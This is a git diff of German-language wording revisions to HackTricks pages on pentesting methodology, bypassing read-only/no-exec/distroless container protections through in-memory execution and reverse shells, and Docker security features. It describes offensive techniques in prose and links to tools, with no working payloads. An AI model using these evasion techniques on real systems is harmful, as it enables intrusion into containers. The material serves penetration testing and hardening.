-**Vergessen Sie nicht, die besten Tools zur Auflistung von Windows- und Linux-Pfaden für die lokale Privilege-Eskalation zu überprüfen:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
+**Vergessen Sie nicht, die besten Tools zur Auflistung von Windows- und Linux-Pfaden für die lokale Berechtigungserweiterung zu überprüfen:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
-#### **10.2- Domänen-Privilege-Eskalation**
+#### **10.2- Domänenberechtigungserweiterung**
-Hier finden Sie eine [**Methodik, die die häufigsten Aktionen zur Auflistung, Eskalation von Berechtigungen und Persistenz in einem Active Directory erklärt**](../windows-hardening/active-directory-methodology/). Auch wenn dies nur ein Unterabschnitt eines Abschnitts ist, könnte dieser Prozess auf einer Pentesting/Red-Team-Mission **äußerst delikat** sein.
+Hier finden Sie eine [**Methodik, die die häufigsten Aktionen zur Auflistung, Berechtigungserweiterung und Persistenz in einem Active Directory erklärt**](../windows-hardening/active-directory-methodology/). Auch wenn dies nur ein Unterabschnitt eines Abschnitts ist, könnte dieser Prozess auf einer Pentesting/Red-Team-Mission **äußerst delikat** sein.
### 11 - POST
@@ -129,7 +129,7 @@ TODO: Vervollständigen Sie die Persistenz-Post in Windows & Linux
Mit den **gesammelten Anmeldeinformationen** könnten Sie Zugriff auf andere Maschinen haben, oder vielleicht müssen Sie **neue Hosts entdecken und scannen** (beginnen Sie die Pentesting-Methodik erneut) in neuen Netzwerken, in denen Ihr Opfer verbunden ist.\
In diesem Fall könnte Tunneling erforderlich sein. Hier finden Sie [**einen Beitrag über Tunneling**](tunneling-and-port-forwarding.md).\
Sie sollten auf jeden Fall auch den Beitrag zur [Active Directory Pentesting-Methodik](../windows-hardening/active-directory-methodology/) überprüfen. Dort finden Sie coole Tricks, um seitlich zu bewegen, Berechtigungen zu eskalieren und Anmeldeinformationen abzurufen.\
-Überprüfen Sie auch die Seite über [**NTLM**](../windows-hardening/ntlm/), es könnte sehr nützlich sein, um in Windows-Umgebungen zu pivotieren..
+Überprüfen Sie auch die Seite über [**NTLM**](../windows-hardening/ntlm/), es könnte sehr nützlich sein, um in Windows-Umgebungen zu pivotieren.
### MEHR
@@ -139,7 +139,7 @@ Sie sollten auf jeden Fall auch den Beitrag zur [Active Directory Pentesting-Met
* [**Grundlegendes Linux-Ausnutzen**](../exploiting/linux-exploiting-basic-esp/)
* [**Grundlegendes Windows-Ausnutzen**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
-* [**Grundlegende Ausnutzungstools**](../exploiting/tools/)
+* [**Grundlegende Ausnutzungswerkzeuge**](../exploiting/tools/)
#### [**Grundlegendes Python**](python/)
@@ -149,7 +149,7 @@ Sie sollten auf jeden Fall auch den Beitrag zur [Active Directory Pentesting-Met
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
-
+
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
@@ -157,7 +157,7 @@ Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken
-Erlernen Sie AWS-Hacking von Null auf Held mithtARTE (HackTricks AWS Red Team Expert)!
+Erlernen Sie das AWS-Hacking von Null auf Held mithtARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
@@ -165,6 +165,6 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
+* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
index 17ebed463..d4124122b 100644
--- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
+++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
@@ -1,4 +1,4 @@
-# Umgehung von FS-Schutzmaßnahmen: Nur-Lesen / Kein-Exec / Distroless
+# Umgehen von FS-Schutzmaßnahmen: Nur-Lesen / Keine-Ausführung / Distroless
@@ -6,7 +6,7 @@
Andere Möglichkeiten, HackTricks zu unterstützen:
-* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
+* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@@ -14,7 +14,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
-
+
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
@@ -27,9 +27,9 @@ In den folgenden Videos finden Sie die auf dieser Seite erwähnten Techniken aus
* [**DEF CON 31 - Erkundung der Linux-Speicher-Manipulation für Stealth und Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**Stealth-Eindringungen mit DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
-## Nur-Lesen / Kein-Exec-Szenario
+## Nur-Lesen / Keine-Ausführung-Szenario
-Es wird immer häufiger, Linux-Maschinen mit **Schutzmaßnahmen für das Nur-Lesen (ro) Dateisystem** zu finden, insbesondere in Containern. Dies liegt daran, dass das Ausführen eines Containers mit einem ro-Dateisystem so einfach ist wie das Festlegen von **`readOnlyRootFilesystem: true`** im `securitycontext`:
+Es wird immer häufiger, dass Linux-Maschinen mit **Schutzmaßnahmen für eine nur-Lese (ro) Dateisystem** montiert sind, insbesondere in Containern. Dies liegt daran, dass das Ausführen eines Containers mit einem ro-Dateisystem so einfach ist wie das Festlegen von **`readOnlyRootFilesystem: true`** im `securitycontext`:
apiVersion: v1
kind: Pod
@@ -44,13 +44,13 @@ securityContext:
command: ["sh", "-c", "while true; do sleep 1000; done"]
-Auch wenn das Dateisystem als ro eingebunden ist, wird **`/dev/shm`** weiterhin beschreibbar sein, sodass wir nichts auf die Festplatte schreiben können. Dieser Ordner wird jedoch mit **no-exec-Schutz** eingebunden, sodass Sie, wenn Sie hier eine Binärdatei herunterladen, diese **nicht ausführen können**.
+Auch wenn das Dateisystem als ro eingebunden ist, wird **`/dev/shm`** dennoch beschreibbar sein, sodass wir nichts auf die Festplatte schreiben können. Dieser Ordner wird jedoch mit **Keine-Ausführung-Schutzmaßnahmen eingebunden**, sodass Sie, wenn Sie hier eine Binärdatei herunterladen, diese **nicht ausführen können**.
{% hint style="warning" %}
Aus der Sicht eines Red Teams wird es dadurch **kompliziert, Binärdateien herunterzuladen und auszuführen**, die nicht bereits im System vorhanden sind (wie Backdoors oder Enumeratoren wie `kubectl`).
{% endhint %}
-## Einfachste Umgehung: Skripte
+## Einfachster Umgehungsweg: Skripte
Beachten Sie, dass ich von Binärdateien gesprochen habe, Sie können **jedes Skript ausführen**, solange der Interpreter innerhalb der Maschine vorhanden ist, wie ein **Shell-Skript**, wenn `sh` vorhanden ist, oder ein **Python-Skript**, wenn `python` installiert ist.
@@ -58,18 +58,18 @@ Dies reicht jedoch nicht aus, um Ihre Binärdatei-Backdoor oder andere Binärwer
## Speicherumgehungen
-Wenn Sie eine Binärdatei ausführen möchten, das Dateisystem dies jedoch nicht zulässt, ist der beste Weg, dies zu tun, indem Sie es aus dem Speicher ausführen, da die **Schutzmaßnahmen dort nicht gelten**.
+Wenn Sie eine Binärdatei ausführen möchten, das Dateisystem dies jedoch nicht zulässt, ist der beste Weg, dies zu tun, indem Sie es aus dem Speicher heraus **ausführen**, da die **Schutzmaßnahmen dort nicht gelten**.
### FD + exec-Systemaufruf-Umgehung
-Wenn Sie leistungsstarke Skript-Engines innerhalb der Maschine haben, wie **Python**, **Perl** oder **Ruby**, könnten Sie die Binärdatei zum Ausführen aus dem Speicher herunterladen, in einem Speicherdateideskript speichern (`create_memfd`-Systemaufruf), das nicht durch diese Schutzmaßnahmen geschützt wird, und dann einen **`exec`-Systemaufruf** aufrufen, wobei der **fd als auszuführende Datei** angegeben wird.
+Wenn Sie leistungsstarke Skript-Engines innerhalb der Maschine haben, wie **Python**, **Perl** oder **Ruby**, könnten Sie die Binärdatei zum Ausführen aus dem Speicher herunterladen, sie in einem Speicherdateideskript speichern (`create_memfd`-Systemaufruf), das nicht durch diese Schutzmaßnahmen geschützt wird, und dann einen **`exec`-Systemaufruf** aufrufen, wobei der **fd als auszuführende Datei** angegeben wird.
-Hierfür können Sie das Projekt [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) verwenden. Sie können ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache mit der **Binärdatei komprimiert und b64-codiert** generieren, mit den Anweisungen zum **Dekodieren und Dekomprimieren** in einem durch `create_memfd`-Systemaufruf erstellten **fd** und einem Aufruf des **exec**-Systemaufrufs zum Ausführen.
+Hierfür können Sie das Projekt [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) verwenden. Sie können ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache mit der **Binärdatei komprimiert und b64-codiert** generieren, zusammen mit den Anweisungen zum **Dekodieren und Dekomprimieren** in einem durch `create_memfd`-Systemaufruf erstellten **fd** und einem Aufruf des **exec**-Systemaufrufs zum Ausführen.
{% hint style="warning" %}
Dies funktioniert nicht in anderen Skriptsprachen wie PHP oder Node, da sie keine **Standardmethode zum Aufrufen von Rohsystemaufrufen** aus einem Skript haben. Daher ist es nicht möglich, `create_memfd` aufzurufen, um den **Speicher-FD** zum Speichern der Binärdatei zu erstellen.
-Darüber hinaus wird das Erstellen eines **regulären FDs** mit einer Datei in `/dev/shm` nicht funktionieren, da Sie nicht berechtigt sind, sie auszuführen, da der **no-exec-Schutz** angewendet wird.
+Darüber hinaus wird das Erstellen eines **regulären FD** mit einer Datei in `/dev/shm` nicht funktionieren, da Sie es nicht ausführen dürfen, da der **Keine-Ausführung-Schutz** angewendet wird.
{% endhint %}
### DDexec / EverythingExec
@@ -105,13 +105,13 @@ Das Ziel von Distroless-Containern ist es, die Angriffsfläche von Containern zu
### Reverse-Shell
-In einem Distroless-Container finden Sie möglicherweise **nicht einmal `sh` oder `bash`**, um eine reguläre Shell zu erhalten. Sie finden auch keine Binärdateien wie `ls`, `whoami`, `id`... alles, was Sie normalerweise in einem System ausführen.
+In einem Distroless-Container finden Sie möglicherweise **nicht einmal `sh` oder `bash`**, um eine reguläre Shell zu erhalten. Sie werden auch keine Binärdateien wie `ls`, `whoami`, `id` finden... alles, was Sie normalerweise in einem System ausführen.
{% hint style="warning" %}
Daher werden Sie **keine** **Reverse-Shell** erhalten oder das System **wie gewohnt durchsuchen können**.
{% endhint %}
-Wenn jedoch der kompromittierte Container beispielsweise ein Flask-Web ausführt, dann ist Python installiert, und daher können Sie eine **Python-Reverse-Shell** erhalten. Wenn Node ausgeführt wird, können Sie eine Node-Rev-Shell erhalten, und dasselbe gilt für fast jede **Skriptsprache**.
+Wenn jedoch der kompromittierte Container beispielsweise ein Flask-Web ausführt, ist Python installiert, und daher können Sie eine **Python-Reverse-Shell** erhalten. Wenn Node ausgeführt wird, können Sie eine Node-Rev-Shell erhalten, und dasselbe gilt für fast jede **Skriptsprache**.
{% hint style="success" %}
Mit der Skriptsprache könnten Sie das System **durch die Fähigkeiten der Sprache durchsuchen**.
@@ -120,7 +120,7 @@ Mit der Skriptsprache könnten Sie das System **durch die Fähigkeiten der Sprac
Wenn es **keine `read-only/no-exec`**-Schutzmaßnahmen gibt, könnten Sie Ihre Reverse-Shell missbrauchen, um **Ihre Binärdateien im Dateisystem zu schreiben** und sie **auszuführen**.
{% hint style="success" %}
-In diesen Containern werden diese Schutzmaßnahmen jedoch normalerweise vorhanden sein, aber Sie könnten die **vorherigen Speicher-Ausführungstechniken verwenden, um sie zu umgehen**.
+In diesen Containern werden jedoch normalerweise diese Schutzmaßnahmen existieren, aber Sie könnten die **vorherigen Speicher-Ausführungstechniken verwenden, um sie zu umgehen**.
{% endhint %}
Sie finden **Beispiele**, wie Sie **einige RCE-Schwachstellen ausnutzen** können, um Skriptsprachen **Reverse-Shells** zu erhalten und Binärdateien aus dem Speicher auszuführen, unter [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
diff --git a/linux-hardening/privilege-escalation/docker-security/README.md b/linux-hardening/privilege-escalation/docker-security/README.md
index dc99e5d64..6ef1ec5b6 100644
--- a/linux-hardening/privilege-escalation/docker-security/README.md
+++ b/linux-hardening/privilege-escalation/docker-security/README.md
@@ -2,64 +2,65 @@
-Lernen Sie AWS-Hacking von Grund auf mithtARTE (HackTricks AWS Red Team Expert)!
+Erlernen Sie AWS-Hacking von Grund auf mithtARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
-* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
-* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
+* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
+* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories senden.
+* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
\
-Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
-Erhalten Sie noch heute Zugriff:
+Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
+Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## **Grundlegende Sicherheit des Docker-Engines**
+## **Grundlegende Docker-Engine-Sicherheit**
-Der **Docker-Engine** verwendet die **Namespaces** und **Cgroups** des Linux-Kernels, um Container zu isolieren und eine grundlegende Sicherheitsschicht zu bieten. Zusätzlicher Schutz wird durch **Capabilities-Dropping**, **Seccomp** und **SELinux/AppArmor** geboten, um die Container-Isolierung zu verbessern. Ein **Authentifizierungs-Plugin** kann die Benutzeraktionen weiter einschränken.
+Die **Docker-Engine** verwendet die **Namespaces** und **Cgroups** des Linux-Kernels, um Container zu isolieren und bietet eine grundlegende Sicherheitsebene. Zusätzlicher Schutz wird durch das **Abwerfen von Fähigkeiten**, **Seccomp** und **SELinux/AppArmor** geboten, um die Containerisolierung zu verbessern. Ein **Authentifizierungsplugin** kann Benutzeraktionen weiter einschränken.
![Docker-Sicherheit](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
### Sicheren Zugriff auf die Docker-Engine
-Die Docker-Engine kann entweder lokal über einen Unix-Socket oder remote über HTTP erreicht werden. Für den Remote-Zugriff ist es wichtig, HTTPS und **TLS** zu verwenden, um Vertraulichkeit, Integrität und Authentifizierung sicherzustellen.
+Die Docker-Engine kann entweder lokal über einen Unix-Socket oder remote über HTTP zugegriffen werden. Für den Remotezugriff ist es wichtig, HTTPS und **TLS** zu verwenden, um Vertraulichkeit, Integrität und Authentifizierung sicherzustellen.
-Die Docker-Engine lauscht standardmäßig auf dem Unix-Socket unter `unix:///var/run/docker.sock`. Auf Ubuntu-Systemen werden die Startoptionen von Docker in `/etc/default/docker` definiert. Um den Remote-Zugriff auf die Docker-API und den Client zu ermöglichen, aktivieren Sie den Docker-Daemon über einen HTTP-Socket, indem Sie die folgenden Einstellungen hinzufügen:
+Die Docker-Engine hört standardmäßig auf den Unix-Socket unter `unix:///var/run/docker.sock`. Auf Ubuntu-Systemen sind die Startoptionen von Docker in `/etc/default/docker` definiert. Um den Remotezugriff auf die Docker-API und den Client zu ermöglichen, aktivieren Sie den Docker-Daemon über einen HTTP-Socket, indem Sie die folgenden Einstellungen hinzufügen:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
-Jedoch wird das Freigeben des Docker-Daemons über HTTP aufgrund von Sicherheitsbedenken nicht empfohlen. Es ist ratsam, Verbindungen mit HTTPS abzusichern. Es gibt zwei Hauptansätze zur Absicherung der Verbindung:
-1. Der Client überprüft die Identität des Servers.
-2. Sowohl der Client als auch der Server authentifizieren gegenseitig ihre Identität.
+Jedoch wird das Freigeben des Docker-Daemons über HTTP aufgrund von Sicherheitsbedenken nicht empfohlen. Es wird empfohlen, Verbindungen mit HTTPS zu sichern. Es gibt zwei Hauptansätze zur Sicherung der Verbindung:
-Zur Bestätigung der Identität eines Servers werden Zertifikate verwendet. Detaillierte Beispiele für beide Methoden finden Sie in [**dieser Anleitung**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
+1. Der Client überprüft die Identität des Servers.
+2. Sowohl der Client als auch der Server authentifizieren gegenseitig die Identität des anderen.
+
+Zur Bestätigung der Identität eines Servers werden Zertifikate verwendet. Für detaillierte Beispiele beider Methoden siehe [**diesen Leitfaden**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
### Sicherheit von Container-Images
-Container-Images können entweder in privaten oder öffentlichen Repositories gespeichert werden. Docker bietet mehrere Speicheroptionen für Container-Images an:
+Container-Images können in privaten oder öffentlichen Repositories gespeichert werden. Docker bietet mehrere Speicheroptionen für Container-Images:
-* **[Docker Hub](https://hub.docker.com)**: Ein öffentlicher Registrierungsdienst von Docker.
-* **[Docker Registry](https://github.com/docker/distribution)**: Ein Open-Source-Projekt, das Benutzern ermöglicht, ihr eigenes Repository zu hosten.
-* **[Docker Trusted Registry](https://www.docker.com/docker-trusted-registry)**: Das kommerzielle Registrierungsangebot von Docker mit rollenbasierter Benutzerauthentifizierung und Integration mit LDAP-Verzeichnisdiensten.
+* [**Docker Hub**](https://hub.docker.com): Ein öffentlicher Registrierungsdienst von Docker.
+* [**Docker Registry**](https://github.com/docker/distribution): Ein Open-Source-Projekt, das es Benutzern ermöglicht, ihr eigenes Register zu hosten.
+* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Das kommerzielle Registrierungsangebot von Docker mit benutzerbasierter Authentifizierung und Integration mit LDAP-Verzeichnisdiensten.
-### Image-Scanning
+### Bildscannen
-Container können **Sicherheitslücken** aufweisen, entweder aufgrund des Basisimages oder aufgrund der installierten Software auf dem Basisimage. Docker arbeitet an einem Projekt namens **Nautilus**, das Sicherheitsscans von Containern durchführt und die Sicherheitslücken auflistet. Nautilus vergleicht jedes Container-Image-Layer mit einem Repository für Sicherheitslücken, um Sicherheitslücken zu identifizieren.
+Container können **Sicherheitslücken** aufweisen, entweder aufgrund des Basisimages oder der darauf installierten Software. Docker arbeitet an einem Projekt namens **Nautilus**, das Sicherheitsscans von Containern durchführt und die Sicherheitslücken auflistet. Nautilus funktioniert, indem es jedes Container-Image-Layer mit dem Sicherheitslücken-Repository vergleicht, um Sicherheitslücken zu identifizieren.
Für weitere [**Informationen lesen Sie dies**](https://docs.docker.com/engine/scan/).
* **`docker scan`**
-Der Befehl **`docker scan`** ermöglicht es Ihnen, vorhandene Docker-Images mithilfe des Image-Namens oder der ID zu scannen. Führen Sie beispielsweise den folgenden Befehl aus, um das hello-world-Image zu scannen:
+Der Befehl **`docker scan`** ermöglicht es Ihnen, vorhandene Docker-Images mithilfe des Bildnamens oder der ID zu scannen. Führen Sie beispielsweise den folgenden Befehl aus, um das Image hello-world zu scannen:
```bash
docker scan hello-world
@@ -91,26 +92,25 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
Die Docker-Image-Signierung gewährleistet die Sicherheit und Integrität von in Containern verwendeten Bildern. Hier ist eine zusammengefasste Erklärung:
-- **Docker Content Trust** verwendet das Notary-Projekt, das auf dem The Update Framework (TUF) basiert, um die Bildsignierung zu verwalten. Weitere Informationen finden Sie unter [Notary](https://github.com/docker/notary) und [TUF](https://theupdateframework.github.io).
-- Um Docker Content Trust zu aktivieren, setzen Sie `export DOCKER_CONTENT_TRUST=1`. Diese Funktion ist standardmäßig in Docker Version 1.10 und höher deaktiviert.
-- Mit dieser Funktion können nur signierte Bilder heruntergeladen werden. Beim ersten Push des Bildes müssen Passphrasen für die Root- und Tagging-Schlüssel festgelegt werden. Docker unterstützt auch YubiKey für eine verbesserte Sicherheit. Weitere Details finden Sie [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
-- Wenn versucht wird, ein nicht signiertes Bild mit aktiviertem Content Trust herunterzuladen, wird ein Fehler "No trust data for latest" angezeigt.
+- **Docker Content Trust** nutzt das Notary-Projekt, basierend auf The Update Framework (TUF), zur Verwaltung der Bildsignierung. Weitere Informationen finden Sie unter [Notary](https://github.com/docker/notary) und [TUF](https://theupdateframework.github.io).
+- Um Docker Content Trust zu aktivieren, setzen Sie `export DOCKER_CONTENT_TRUST=1`. Diese Funktion ist in Docker Version 1.10 und später standardmäßig deaktiviert.
+- Mit dieser Funktion können nur signierte Bilder heruntergeladen werden. Das Initiieren des ersten Bild-Push erfordert das Festlegen von Passphrasen für die Root- und Tagging-Schlüssel, wobei Docker auch Yubikey zur Verbesserung der Sicherheit unterstützt. Weitere Details finden Sie [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
+- Der Versuch, ein nicht signiertes Bild mit aktiviertem Content Trust herunterzuladen, führt zu einem Fehler "No trust data for latest".
- Für Bild-Pushes nach dem ersten fordert Docker die Passphrase des Repository-Schlüssels an, um das Bild zu signieren.
-Verwenden Sie den Befehl, um Ihre privaten Schlüssel zu sichern:
+Um Ihre privaten Schlüssel zu sichern, verwenden Sie den Befehl:
```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```
-Beim Wechseln von Docker-Hosts ist es notwendig, die Root- und Repository-Schlüssel zu verschieben, um den Betrieb aufrechtzuerhalten.
-
+Beim Wechsel von Docker-Hosts ist es notwendig, die Root- und Repository-Schlüssel zu verschieben, um den Betrieb aufrechtzuerhalten.
***
\
-Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
-Erhalten Sie noch heute Zugriff:
+Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen** und zu **automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
+Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -120,22 +120,25 @@ Erhalten Sie noch heute Zugriff:
Zusammenfassung der Sicherheitsfunktionen von Containern
-### Hauptfunktionen zur Isolierung des Hauptprozesses
+#### Hauptfunktionen zur Prozessisolierung
-In containerisierten Umgebungen ist die Isolierung von Projekten und ihren Prozessen von entscheidender Bedeutung für Sicherheit und Ressourcenmanagement. Hier ist eine vereinfachte Erklärung der wichtigsten Konzepte:
+In containerisierten Umgebungen ist die Isolierung von Projekten und deren Prozessen entscheidend für Sicherheit und Ressourcenmanagement. Hier ist eine vereinfachte Erklärung der wichtigsten Konzepte:
-#### **Namespaces**
-- **Zweck**: Gewährleistung der Isolierung von Ressourcen wie Prozessen, Netzwerk und Dateisystemen. Insbesondere in Docker halten Namespaces die Prozesse eines Containers getrennt vom Host und anderen Containern.
-- **Verwendung von `unshare`**: Der Befehl `unshare` (oder der zugrunde liegende Systemaufruf) wird verwendet, um neue Namespaces zu erstellen und eine zusätzliche Isolationsebene bereitzustellen. Während Kubernetes dies nicht von Natur aus blockiert, tut Docker dies.
-- **Einschränkung**: Das Erstellen neuer Namespaces erlaubt es einem Prozess nicht, zu den Standard-Namespaces des Hosts zurückzukehren. Um auf die Namespaces des Hosts zuzugreifen, benötigt man in der Regel Zugriff auf das Verzeichnis `/proc` des Hosts und verwendet `nsenter` zum Einstieg.
+**Namespaces**
-#### **Control Groups (CGroups)**
-- **Funktion**: Hauptsächlich zur Ressourcenzuweisung zwischen Prozessen verwendet.
-- **Sicherheitsaspekt**: CGroups selbst bieten keine Isolationssicherheit, mit Ausnahme der Funktion `release_agent`, die bei falscher Konfiguration potenziell für unbefugten Zugriff ausgenutzt werden könnte.
+* **Zweck**: Sicherstellung der Isolierung von Ressourcen wie Prozessen, Netzwerken und Dateisystemen. Insbesondere in Docker halten Namespaces die Prozesse eines Containers getrennt vom Host und anderen Containern.
+* **Verwendung von `unshare`**: Der Befehl `unshare` (oder das zugrunde liegende Systemaufruf) wird verwendet, um neue Namespaces zu erstellen und eine zusätzliche Isolationsebene bereitzustellen. Während Kubernetes dies grundsätzlich nicht blockiert, tut Docker dies.
+* **Einschränkung**: Das Erstellen neuer Namespaces erlaubt es einem Prozess nicht, zu den Standard-Namespaces des Hosts zurückzukehren. Um auf die Host-Namespaces zuzugreifen, benötigt man in der Regel Zugriff auf das Verzeichnis `/proc` des Hosts und verwendet `nsenter` für den Zugriff.
-#### **Capability Drop**
-- **Bedeutung**: Es handelt sich um eine wichtige Sicherheitsfunktion zur Isolierung von Prozessen.
-- **Funktionalität**: Es beschränkt die Aktionen, die ein Root-Prozess durch das Ablegen bestimmter Fähigkeiten ausführen kann. Selbst wenn ein Prozess mit Root-Rechten läuft, verhindert das Fehlen der erforderlichen Fähigkeiten das Ausführen privilegierter Aktionen, da die Systemaufrufe aufgrund unzureichender Berechtigungen fehlschlagen werden.
+**Control Groups (CGroups)**
+
+* **Funktion**: Hauptsächlich zur Ressourcenzuweisung zwischen Prozessen verwendet.
+* **Sicherheitsaspekt**: CGroups bieten an sich keine Isolationssicherheit, außer der Funktion `release_agent`, die bei falscher Konfiguration potenziell für unbefugten Zugriff ausgenutzt werden könnte.
+
+**Capability Drop**
+
+* **Bedeutung**: Es ist eine wichtige Sicherheitsfunktion für die Prozessisolierung.
+* **Funktionalität**: Es beschränkt die Aktionen, die ein Root-Prozess ausführen kann, indem bestimmte Fähigkeiten abgelegt werden. Selbst wenn ein Prozess mit Root-Rechten läuft, verhindert das Fehlen der erforderlichen Fähigkeiten die Ausführung privilegierter Aktionen, da die Systemaufrufe aufgrund unzureichender Berechtigungen fehlschlagen werden.
Dies sind die **verbleibenden Fähigkeiten**, nachdem der Prozess die anderen abgelegt hat:
@@ -147,20 +150,20 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
**Seccomp**
